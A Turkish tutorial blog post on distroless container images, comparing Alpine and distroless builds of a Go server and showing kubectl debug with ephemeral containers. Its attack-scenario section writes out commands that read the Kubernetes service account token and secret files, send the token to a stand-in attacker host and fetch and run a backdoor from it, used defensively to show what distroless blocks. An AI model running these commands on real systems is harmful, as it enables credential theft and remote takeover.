Distroless Nedir?
Normal bir container image düşün. İçinde uygulamanın kendisi var, ama aynı zamanda:
- Shell (
/bin/sh,/bin/bash) - Paket manager (
apt,apk,yum) - Sistem araçları (
curl,wget,ls,cat,ps) - C kütüphaneleri
- Kullanıcı yönetim araçları
Bunların büyük çoğunluğu uygulamanın çalışması için gerekli değil. Geliştirici kolaylığı için var. Ama bir saldırgan container'a girerse bunları kullanabilir.
Distroless image'lar bu araçların hiçbirini içermez. Google tarafından geliştirilen gcr.io/distroless projesi, her dil için minimal runtime image'lar sunuyor:
gcr.io/distroless/static → Go, Rust (hiçbir runtime yok)
gcr.io/distroless/base → glibc gerektiren uygulamalar
gcr.io/distroless/java17 → Java 17 runtime
gcr.io/distroless/nodejs20 → Node.js 20 runtime
gcr.io/distroless/python3 → Python 3 runtime
Lab Ortamı
Docker Desktop, WSL Ubuntu. Kubernetes cluster gerekmedi — image karşılaştırması için sadece Docker yeterli. Güvenlik testleri için Docker Desktop'ın built-in Kubernetes cluster'ını kullandım.
Aynı Uygulamayı İki Farklı Image ile Build Et
Basit bir Go HTTP server:
package main
import (
"fmt"
"net/http"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "Hello from container!")
})
http.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "OK")
})
http.ListenAndServe(":8080", nil)
}
Alpine Dockerfile:
FROM golang:1.21-alpine AS builder
WORKDIR /app
COPY . .
RUN go build -o server .
FROM alpine:3.19
WORKDIR /app
COPY --from=builder /app/server .
EXPOSE 8080
ENTRYPOINT ["./server"]
Distroless Dockerfile:
FROM golang:1.21-alpine AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .
FROM gcr.io/distroless/static
COPY --from=builder /app/server /server
EXPOSE 8080
ENTRYPOINT ["/server"]
CGO_ENABLED=0 kritik — distroless/static içinde C kütüphanesi yok, binary tamamen static olmalı.
Build sonucu:
REPOSITORY SIZE
go-alpine 22.1MB
go-distroless 17MB
Boyut farkı bu örnekte küçük — asıl fark Python veya Node.js gibi ağır runtime'larda çok daha belirgin oluyor. Ama asıl fark zaten boyut değil.
Image İçeriği — Gerçek Fark Burada
Alpine içinde ne var?
docker run --rm -it go-alpine sh
which sh # /bin/sh
which wget # /usr/bin/wget
which ls # /bin/ls
which ps # /bin/ps
apk --version # apk-tools 2.14.x
Shell var, araçlar var, paket manager var.
Distroless içinde ne var?
docker run --rm -it go-distroless sh
docker: Error response from daemon:
exec: "sh": executable file not found in $PATH
Shell yok — container başlamıyor bile. Başka şeyler dene:
docker run --rm go-distroless ls
# exec: "ls": no such file or directory
docker run --rm go-distroless wget
# exec: "wget": no such file or directory
İçinde sadece /server binary'si var. Başka hiçbir şey yok.
Güvenlik Testi — Saldırı Senaryosu
Gerçekçi bir senaryo: uygulamanda RCE (Remote Code Execution) açığı var. Saldırgan container'a girdi. Ne yapabilir?
Kubernetes'te iki pod deploy ettim:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: app
image: go-alpine
---
apiVersion: v1
kind: Pod
metadata:
name: distroless-pod
spec:
containers:
- name: app
image: go-distroless
Alpine'da saldırgan neler yapabilir:
kubectl exec -it alpine-pod -- sh
# Sistemi keşfet
ps aux
cat /etc/hosts
cat /etc/resolv.conf
# Secret ve token ara
env | grep -i secret
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Dosya sistemini tara
find / -name "*.env" 2>/dev/null
find / -name "*.key" 2>/dev/null
# Dışarıya veri sızdır
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
wget -q -O- "http://saldirgan.com/collect?token=$TOKEN"
# Backdoor indir
wget http://saldirgan.com/backdoor -O /tmp/bd
chmod +x /tmp/bd && /tmp/bd &
Her şey çalışıyor. Container ele geçirildi, lateral movement başladı.
Distroless'ta aynı senaryoyu dene:
kubectl exec -it distroless-pod -- sh
# exec: "sh": executable file not found
kubectl exec distroless-pod -- ps
# exec: "ps": executable file not found
kubectl exec distroless-pod -- env
# exec: "env": executable file not found
kubectl exec distroless-pod -- wget
# exec: "wget": executable file not found
Saldırgan RCE açığını başarıyla exploit etti. Ama container içinde elleri boş:
- Shell alamıyor
- Sistemi keşfedemiyor
- Token okuyamıyor
- Dışarıya veri gönderemiyor
- Yeni araç indiremiyor
kubectl exec çalışmaması bir kısıtlama değil, özellik. Sen giremiyorsan saldırgan da giremiyor.
Not: Distroless saldırıyı imkânsız kılmıyor. RCE açığını kapatmak hâlâ birincil öncelik. Distroless ikinci savunma katmanı — "açık olsa bile zarar sınırlı olsun."
"Peki Debug Nasıl Yapacağım?"
Shell olmadan production'da sorun çıktığında ne yaparsın? Cevap: kubectl debug ve ephemeral container.
Ephemeral container, çalışan bir pod'a geçici olarak eklenen debug container. Pod'un namespace'ini paylaşıyor ama pod'un image'ını değiştirmiyor.
kubectl debug -it distroless-pod \
--image=busybox \
--target=app
İçerdesin:
# Distroless pod'un process'lerini gör
ps aux
# PID 1: /server ← distroless'taki uygulama
# PID 12: sh ← senin debug shell'in
# Environment variable'ları oku
cat /proc/1/environ | tr '\0' '\n'
# Network bağlantıları
cat /etc/hosts
exit
Production pod'una dokunmadın. Ephemeral container geçici — debug bitince gidiyor.
Production pod'una hiç dokunmak istemiyorsan kopyasını al:
kubectl debug distroless-pod \
--image=busybox \
--copy-to=distroless-pod-debug \
-it
Bu komut pod'un birebir kopyasını oluşturuyor, içine busybox ekliyor, oraya bağlanıyor. Debug bitince:
kubectl delete pod distroless-pod-debug
Node Seviyesinde Debug
Bazen pod seviyesi yetmez — kernel parametreleri, node'daki tüm process'ler, host network. Bunun için node'u debug edersin:
kubectl debug node/desktop-control-plane \
-it \
--image=busybox
# Node'daki tüm process'ler
ps aux | head -20
# Node'un dosya sistemi /host altında
ls /host
# Kernel bilgisi
uname -a
exit
Pod Debug vs Node Debug
| Pod Debug | Node Debug | |
|---|---|---|
| Ne zaman | Uygulama seviyesi sorunlar | Altyapı seviyesi sorunlar |
| Erişim | Container process'leri | Tüm node |
| Komut | kubectl debug pod/... |
kubectl debug node/... |
Production Best Practices
Multi-stage build her zaman kullan:
# Builder — tüm araçlar burada, final image'a gitmez
FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .
# Runtime — sadece binary
FROM gcr.io/distroless/static
COPY --from=builder /app/server /server
ENTRYPOINT ["/server"]
nonroot tag kullan:
# Root olarak çalışma
FROM gcr.io/distroless/static-debian12:nonroot
debug tag sadece geliştirmede:
# Production
FROM gcr.io/distroless/static
# Development — busybox shell içeriyor, production'da kullanma
FROM gcr.io/distroless/static:debug
Öğrendiklerim
Bu lab'dan önce distroless'ı "image boyutunu küçülten bir şey" olarak görüyordum. Şimdi şunu söyleyebiliyorum:
Boyut küçülmesi yan kazanım. Asıl kazanım attack surface'in minimuma inmesi. Shell yok, paket manager yok, sistem araçları yok — container ele geçirilse bile saldırganın yapabileceği şey çok kısıtlı.
kubectl exec çalışmaması sinir bozucu görünüyor ama doğru soruyu sormak gerekiyor: "Ben giremiyorsam saldırgan da giremez mi?" Evet, giremez. Debug için kubectl debug var — production pod'una dokunmadan ephemeral container ile istediğini yapabilirsin.
Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.
Serinin diğer yazıları:
Top comments (0)